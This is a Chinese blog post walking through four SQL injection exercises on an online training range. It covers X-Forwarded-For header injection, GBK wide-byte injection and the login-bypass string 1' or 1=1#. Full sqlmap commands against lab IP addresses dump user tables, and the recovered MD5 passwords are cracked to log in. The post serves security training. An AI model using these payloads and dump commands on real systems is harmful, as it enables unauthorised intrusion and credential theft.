热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Web安全SQL注入漏洞(1)

SQL注入的原理:有些恶意用户的,在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,

SQL注入的原理:有些恶意用户的,在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而导致SQL语句直接被服务端执行.



测试的内容:(1)伪造 http 头部的文件注入.


                      (2)宽字节注入漏洞的利用


                      (3)任意密码登录,构造语句绕过


                      (4)对登录页面进行 sql 注入测试




测试机:kali    链接:https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg 
                        提取码:tian 




靶场是:墨者学院的在线靶场:墨者学院_专注于网络安全人才培养




1. 通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.


第一步:来到登录页面.





第二步:随便输入一个账号和密码.


发现登录失败.






第三步:用Burp抓包.


添加:x-forwarded-for:1.1.1.1


发现返回的是自己的添加地址1.1.1.1(说明:这里有SQL注入)

 


 第四步:


添加:x-forwarded-for:*        保存为txt文件.


 第五步:用sqlmap扫描 保存的1.txt文件.


命令:sqlmap -r /root/1.txt --batch --current-db


【--batch 】:默认sqlmap工具提出的(是否)为:y         【--current-db】:显示当前使用的数据库.


找到  x-forwarded-for 的注入点


 第六步:查看数据库中的所有的表.


命令:sqlmap -r /root/1.txt --batch --tables -D "webcalendar"


【--tables -D "webcalendar"】:把webcalendar数据库中的所有的表显示出来.

 


 发现 webcalendar 数据库中有二个表.

 


 第七步:查看表中所有的列表.


命令:sqlmap -r /root/1.txt --batch --columns -T "user" 


【--columns -T 'user'】:把user表中的所有列显示出来.

 


 发现 user 表中有三行列表.

 


 第八步:查看列表中的内容


命令:sqlmap -r /root/1.txt --batch --dump -C "username,password"


【--dump -C "username,password"】:把 username 和 password 列的中的内容显示出来.


 可以看到里面的内容是账号和密码.


 第九步:有账号和密码去登录就可以拿到flag .






2. 登录界面存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后利用宽字节注入漏洞找到登录的账号和密码.


第一步:来到登录页面.


试过随便填账号密码,发现不行. 然后查看页面源代码,发现有一条超链接.


第二步: 文本超链接在这然后点击.


 来到注入页面.


 第三步:输入%df',使页面报错. (验证存在 SQL宽字节注入漏洞


SQL宽字节注入原理分析:  addslashes()  这个函数会将'转义为\
                                           gbk编码的时候 %df 和 \ 的编码 %5c 合并为一个字符運
                                           从而 ' 可以逃逸



第四步:使用sqlmap(sqlmap中也宽字节插件)


命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dbs 


【--tamper=unmagicquotes.py】是:sqlmap中的宽字节插件        【--dbs】是:显示所有数据库.


 找到有5个数据库.

 


 第五步:查看 mozhe_discuz_stormgroup 数据库中的所有表.


命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"


【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.


找到有二个表( noticw 和 stormgroup_member ).

 


第六步:查看这个二个 notice ,stormgroup_member 表中的内容


命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"


【--columns -T "notice,stormgroup_member"】:把 notice 和 stormgroup_member 表中的所有列显示出来.


 找到 notice 和 stormgroup_member 表的列.


第七步:我们发现 stormgroup_member 表中有账号和密码的列,所有我们查看 stormgroup_member 的内容


命令: sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dump -C "name,password"


【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.


 


 找到账号和密码(密码被md5加密了)


第八步:用md5解密就行.(  然后用账号和密码去登录就行)


3. 登录界面存在任意密码登录,构造语句绕过服务器端验证,并对登录成功.


第一步:来到登录页面.





随便输入账号和密码,发现登录失败.

 


 第二步:测试是否存在 任意密码登录,所有我们使用万能密码.


(1)在账号输入:1' or 1=1#


(2)密码:随便输入或者是为空


 登录成功(拿到flag ):





4. 对登录页面进行 sql 注入测试,获取到当前所在数据库的账号和密码.


第一步:点击超链接的位置.


进来的页面,发现链接有?id=1 


 第二步:用 sqlmap 工具查找是否存在 SQL 漏洞


命令: sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --current-db


【--batch 】:默认sqlmap工具提出的(是否)为:y         【--current-db】:显示当前使用的数据库.


 找到四个注入点 和 当前数据库的名字.


 第三步:查看 mozhe_discuz_stormgroup 数据库中的所有表.


命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --tables -D "mozhe_discuz_stormgroup"


【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.


 找到 mozhe_discuz_stormgroup 数据库中二个表.


第四步:查看 stormgroup_member 表中的所有列


命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --columns -T "stormgroup_member"


【--columns -T "stormgroup_member"】:把 stormgroup_member 表中的所有列显示出来.

 


 找到 stormgroup_member 表有三个列.


 第五步:查看 name 和 password 这两列的内容.


命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --dump -C "name,password"
【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.


 找到账号和密码(密码被md5加密了)(账号和密码也和 第二题 一模一样

 


第六步: 用md5解密就行.(  然后用账号和密码去登录就行)



第一题的靶场:

X-Forwarded-For注入漏洞实战_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养



第二题的靶场:SQL注入漏洞测试(宽字节)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养



第三题的靶场:

SQL注入漏洞测试(登录绕过)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养



第四题的靶场:SQL注入漏洞测试(报错盲注)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养



推荐阅读
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文介绍了高校天文共享平台的开发过程中的思考和规划。该平台旨在为高校学生提供天象预报、科普知识、观测活动、图片分享等功能。文章分析了项目的技术栈选择、网站前端布局、业务流程、数据库结构等方面,并总结了项目存在的问题,如前后端未分离、代码混乱等。作者表示希望通过记录和规划,能够理清思路,进一步完善该平台。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • 集成电路企业在进行跨隔离网数据交换时面临着安全性问题,传统的数据交换方式存在安全性堪忧、效率低下等问题。本文以《Ftrans跨网文件安全交换系统》为例,介绍了如何通过丰富的审批流程来满足企业的合规要求,保障数据交换的安全性。 ... [详细]
  • Mac OS 升级到11.2.2 Eclipse打不开了,报错Failed to create the Java Virtual Machine
    本文介绍了在Mac OS升级到11.2.2版本后,使用Eclipse打开时出现报错Failed to create the Java Virtual Machine的问题,并提供了解决方法。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • 本文详细介绍了Linux中进程控制块PCBtask_struct结构体的结构和作用,包括进程状态、进程号、待处理信号、进程地址空间、调度标志、锁深度、基本时间片、调度策略以及内存管理信息等方面的内容。阅读本文可以更加深入地了解Linux进程管理的原理和机制。 ... [详细]
  • 本文介绍了PhysioNet网站提供的生理信号处理工具箱WFDB Toolbox for Matlab的安装和使用方法。通过下载并添加到Matlab路径中或直接在Matlab中输入相关内容,即可完成安装。该工具箱提供了一系列函数,可以方便地处理生理信号数据。详细的安装和使用方法可以参考本文内容。 ... [详细]
author-avatar
可卡因
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有